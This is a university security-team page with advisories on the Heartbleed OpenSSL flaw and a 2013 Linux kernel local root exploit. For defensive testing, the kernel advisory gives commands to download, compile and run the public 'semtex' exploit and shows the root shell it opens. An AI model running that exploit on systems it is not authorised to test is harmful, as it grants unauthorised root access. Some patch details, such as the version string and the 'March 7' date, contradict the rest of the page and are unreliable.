Security: News and Update Notifications

The Security Team posts up-to-the-minute security information important to the university community in the comments section of this page. Most recent posts appear at the top.

[Permalink]

Comments


  1. Blake Chapman
    Security Analyst
    04/10/2014
    3:39 pm

    A critical vulnerability affecting OpenSSL 1.0.1 (and services that rely on it) was announced on Monday, April 7. A remote attacker is able to read up to 64K of memory per attack. Memory leaked through this method may contain sensitive data including, but not limited to, the SSL private key. This attack works against servers as well as clients. Proof of concept exploits are publicly available. [1]
     

    Information Security Recommends that system administrators inspect the version of OpenSSL installed and patch if affected. Maintainers of third party software and appliances should contact their vendor or community for an affirmative affected/not-affected statement. We also recommend generating new SSL certificates for any affected systems.

    The minimum safe version of OpenSSL is 1.0.1g. Other major versions (0.9x, 1.0.0) are not vulnerable.

    Details
    Only OpenSSL builds with a major version number of 1.0.1 are vulnerable up to build "1.0.1g", regardless of system architecture. At the time of this article, most Linux distributions, including Ubuntu, RHEL and CentOS, have patches available. OS X 10.8 ships with version 0.9.8y which is not affected. It is still worth verifying.

    Be aware that on RHEL / CentOS distributions the version number did not change after patching - it will remain "1.0.1g", but the compile time will show a date of Monday, March 7 or later.

    Any SSL/TLS application may be affected - not just web servers. All encrypted services that run on any port should be inspected.

    Perform the following command on the host to determine if the system is affected:
    $ openssl version -a
    OpenSSL 1.0.1-fips 29 Mar 2010
    built on: Mon Mar 4 22:19:53 UTC 2013
    platform: linux-x86_64
    ...

    In this example, OpenSSL is vulnerable judging by the version number and having a build date prior to Monday, March 7.

    After applying patches for OpenSSL, identify running processes which have old libraries mapped and restart:

    $ sudo grep -l 'libssl.*deleted' /proc/*/maps | tr -cd 0-9\\n | xargs -r ps u
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1645 0.0 0.0 95084 1044 ? Ss 2013 3:41 sendmail: accepting connections
    ...

    If console access is not available, use the Qualys SSL Server Test application to check for vulnerability. Be sure to check the box titled "Do not show the results on the boards". www.ssllabs.com/ssltest/index.html

    Countermeasures
    Apply operating system, vendor or community patches which address the vulnerability. Then either restart the operating system or restart daemons which use the OpenSSL libraries.
    In the event the host is a managed appliance, research appropriate knowledge bases for an update or open a support ticket.
    In addition, it is recommended that a new private key is generated and CSR generated in order to request a replacement SSL certificate - especially if the services provided are Internet-facing. Instructions are available at: techarticles.uark.edu/security/security_requesting_ssl_certificate/ .

    Audit and Forensics
    Apache does not render access logs between SSL connection and beginning of HTTP transmission. Probes will not be evident. However, ITS has attack signatures installed on its firewalls and intrusion detection systems and is actively monitoring the situation.

    References
    [1] isc.sans.edu/forums/diary/+Patch+Now+OpenSSL+Heartbleed+Vulnerability/17921


  2. Don Faulkner
    Chief Information Security Off
    05/15/2013
    4:05 pm
    edited

    New Linux 0-Day Vulnerability: Root Access Possible

    A zero-day exploit in the Linux kernel was identified on May 14th. When successfully exploited, the vulnerability permits a regular shell user to gain ROOT level access. Countermeasures are available while waiting on patches from vendors. The vulnerability affects the following versions, and may affect others as well:

    • Linux kernel 2.6.37-3
    • Linux kernel 2.6.32

    Information Security Recommends that system administrators running kernels near the listed versions test their systems manually, and employ the appropriate countermeasures if vulnerable.

    Details

    The vulnerability applies to Linux distributions (RHEL 6 and CentOS 6) running the 2.6.3x x86_64 kernel. 32-bit kernels are not presently vulnerable. Initial reports indicated the vulnerable kernel is 2.6.37-3, but has been successfully tested with 2.6.32. In order to test the vulnerability, establish that you are running a target kernel and compile the proof of concept source code (with the -O2 flag) available at packetstormsecurity.com/files/121616/semtex.c:

    $ uname -a
    Linux ... 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
    $ wget cavern.uark.edu/~security/advisories/2013-05001/semtex.c
    $ gcc -O2 -o semtex semtex.c
    $ ./semtex
    2.6.37-3.x x86_64
    sd@[redacted] 2010
    -sh-4.1# exit
    $ 
    

    Being presented with a root shell prompt indicates vulnerability; if the core dumps the host is not vulnerable.

    Countermeasures

    The following temporary measure resolves the vulnerability and results in a core dump:

    # sysctl kernel.perf_event_paranoid=2
    kernel.perf_event_paranoid = 2
    $ ./semtex
    semtex: semtex.c:51: sheep: Assertion `!close(fd)' failed.
    Aborted (core dumped)
    $ 
    

    The tradeoff to setting kernel.perf_event_paranoid=2 is that a non-superuser cannot take any perf measurements. The perf utility might still be useful to analyze existing records with perf ls, perf report, perf timechart or perf trace. It should be noted that this countermeasure is sufficient for the current unmodified exploit, but does not resolve the issue in general. Subsequent related exploits may appear in the future.

    A more complete mitigation for systems supporting "systemtap" is available from Petr Matousek of the RedHat Security Response Team.

    Audit and Forensics

    If a user attempted to (unsuccessfully) escalate permissions, evidence may be located in syslog, perhaps in /var/log/messages or /var/log/syslog:

    May 14 10:34:30 ... abrtd: Directory 'ccpp-2013-05-14-10:34:30-25755' creation detected
    May 14 10:34:30 ... abrt[25756]: Saved core dump of pid 25755 (/home/pbc/semtex) to /var/spool/abrt/ccpp-2013-05-14-10:34:30-25755 (268763136 bytes)
    May 14 10:34:31 ... abrtd: Executable '/home/pbc/semtex' doesn't belong to any 

    A successful compromise does not log; nor should local logs be relied upon if a user attains superuser status. There is no evidence of logging action in /var/log/audit.

    References

(Login required)